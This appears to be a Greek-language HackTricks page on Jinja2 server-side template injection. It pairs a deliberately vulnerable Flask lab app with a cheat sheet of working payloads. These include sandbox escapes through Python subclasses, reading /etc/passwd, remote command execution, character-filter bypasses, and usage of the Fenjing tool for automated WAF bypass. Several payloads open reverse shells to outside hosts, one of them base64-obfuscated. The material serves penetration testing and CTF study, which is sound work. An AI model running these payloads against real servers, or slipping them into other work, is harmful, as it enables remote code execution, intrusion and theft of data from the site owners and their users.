19 KiB
Jinja2 SSTI
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στο 💬 Discord group ή στο telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Εργαστήριο
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
Διάφορα
Δήλωση Εντοπισμού Σφαλμάτων
Εάν η Επέκταση Εντοπισμού Σφαλμάτων είναι ενεργοποιημένη, μια ετικέτα debug
θα είναι διαθέσιμη για να εκτυπώσει το τρέχον πλαίσιο καθώς και τους διαθέσιμους φίλτρους και δοκιμές. Αυτό είναι χρήσιμο για να δείτε τι είναι διαθέσιμο προς χρήση στο πρότυπο χωρίς να ρυθμίσετε έναν εντοπιστή σφαλμάτων.
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
Εκτύπωση όλων των μεταβλητών ρύθμισης
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
Jinja Injection
Πρώτα απ' όλα, σε μια Jinja injection πρέπει να βρείτε έναν τρόπο να ξεφύγετε από το sandbox και να ανακτήσετε πρόσβαση στη κανονική ροή εκτέλεσης python. Για να το κάνετε αυτό, πρέπει να καταχραστείτε αντικείμενα που είναι από το μη sandboxed περιβάλλον αλλά είναι προσβάσιμα από το sandbox.
Accessing Global Objects
Για παράδειγμα, στον κώδικα render_template("hello.html", username=username, email=email)
τα αντικείμενα username και email προέρχονται από το μη sandboxed python env και θα είναι προσβάσιμα μέσα στο sandboxed env.
Επιπλέον, υπάρχουν άλλα αντικείμενα που θα είναι πάντα προσβάσιμα από το sandboxed env, αυτά είναι:
[]
''
()
dict
config
request
Ανάκτηση <class 'object'>
Τότε, από αυτά τα αντικείμενα πρέπει να φτάσουμε στην κλάση: <class 'object'>
προκειμένου να προσπαθήσουμε να ανακτήσουμε τις καθορισμένες κλάσεις. Αυτό συμβαίνει επειδή από αυτό το αντικείμενο μπορούμε να καλέσουμε τη μέθοδο __subclasses__
και να πρόσβαση σε όλες τις κλάσεις από το μη sandboxed περιβάλλον python.
Για να αποκτήσετε πρόσβαση σε αυτή την κλάση αντικειμένου, πρέπει να πρόσβαση σε ένα αντικείμενο κλάσης και στη συνέχεια να αποκτήσετε πρόσβαση είτε σε __base__
, __mro__()[-1]
ή .
mro()[-1]
. Και μετά, μετά την επίτευξη αυτής της κλάσης αντικειμένου καλούμε __subclasses__()
.
Δείτε αυτά τα παραδείγματα:
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
RCE Escaping
Αφού ανακτήσαμε <class 'object'>
και καλέσαμε __subclasses__
, μπορούμε τώρα να χρησιμοποιήσουμε αυτές τις κλάσεις για να διαβάσουμε και να γράψουμε αρχεία και να εκτελέσουμε κώδικα.
Η κλήση στο __subclasses__
μας έχει δώσει την ευκαιρία να έχουμε πρόσβαση σε εκατοντάδες νέες συναρτήσεις, θα είμαστε ευχαριστημένοι απλά με την πρόσβαση στην κλάση αρχείου για ανάγνωση/γραφή αρχείων ή οποιαδήποτε κλάση με πρόσβαση σε μια κλάση που επιτρέπει την εκτέλεση εντολών (όπως το os
).
Διαβάστε/Γράψτε απομακρυσμένο αρχείο
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
RCE
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
Για να μάθετε για περισσότερες κλάσεις που μπορείτε να χρησιμοποιήσετε για να ξεφύγετε, μπορείτε να ελέγξετε:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Παράκαμψη φίλτρων
Κοινές παρακάμψεις
Αυτές οι παρακάμψεις θα μας επιτρέψουν να πρόσβαση στα χαρακτηριστικά των αντικειμένων χωρίς να χρησιμοποιήσουμε κάποιους χαρακτήρες.
Έχουμε ήδη δει μερικές από αυτές τις παρακάμψεις στα παραδείγματα του προηγούμενου, αλλά ας τις συνοψίσουμε εδώ:
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
- Επιστρέψτε εδώ για περισσότερες επιλογές πρόσβασης σε ένα παγκόσμιο αντικείμενο
- Επιστρέψτε εδώ για περισσότερες επιλογές πρόσβασης στην κλάση αντικειμένου
- Διαβάστε αυτό για να αποκτήσετε RCE χωρίς την κλάση αντικειμένου
Αποφυγή κωδικοποίησης HTML
Από προεπιλογή, το Flask κωδικοποιεί HTML όλα τα στοιχεία μέσα σε ένα πρότυπο για λόγους ασφαλείας:
{{'<script>alert(1);</script>'}}
#will be
<script>alert(1);</script>
Ο φίλτρο safe
μας επιτρέπει να εισάγουμε JavaScript και HTML στη σελίδα χωρίς να είναι κωδικοποιημένο σε HTML, όπως αυτό:
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
RCE γράφοντας ένα κακόβουλο αρχείο ρυθμίσεων.
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Χωρίς αρκετούς χαρακτήρες
Χωρίς {{
.
[
]
}}
_
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
Jinja Injection χωρίς <class 'object'>
Από τα παγκόσμια αντικείμενα υπάρχει ένας άλλος τρόπος για να αποκτήσετε RCE χωρίς να χρησιμοποιήσετε αυτή την κλάση.
Αν καταφέρετε να αποκτήσετε πρόσβαση σε οποιαδήποτε συνάρτηση από αυτά τα παγκόσμια αντικείμενα, θα μπορείτε να αποκτήσετε πρόσβαση στο __globals__.__builtins__
και από εκεί το RCE είναι πολύ απλό.
Μπορείτε να βρείτε συναρτήσεις από τα αντικείμενα request
, config
και οποιοδήποτε άλλο ενδιαφέρον παγκόσμιο αντικείμενο που έχετε πρόσβαση με:
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
Μόλις βρείτε μερικές συναρτήσεις, μπορείτε να ανακτήσετε τα builtins με:
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
Fuzzing WAF bypass
Fenjing https://github.com/Marven11/Fenjing είναι ένα εργαλείο που είναι εξειδικευμένο σε CTFs αλλά μπορεί επίσης να είναι χρήσιμο για brute force μη έγκυρων παραμέτρων σε ένα πραγματικό σενάριο. Το εργαλείο απλώς ψεκάζει λέξεις και ερωτήματα για να ανιχνεύσει φίλτρα, αναζητώντας παρακάμψεις, και παρέχει επίσης μια διαδραστική κονσόλα.
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
Αναφορές
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
- Δείτε attr trick για να παρακάμψετε τους αποκλεισμένους χαρακτήρες εδώ.
- https://twitter.com/SecGus/status/1198976764351066113
- https://hackmd.io/@Chivato/HyWsJ31dI
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Δείτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.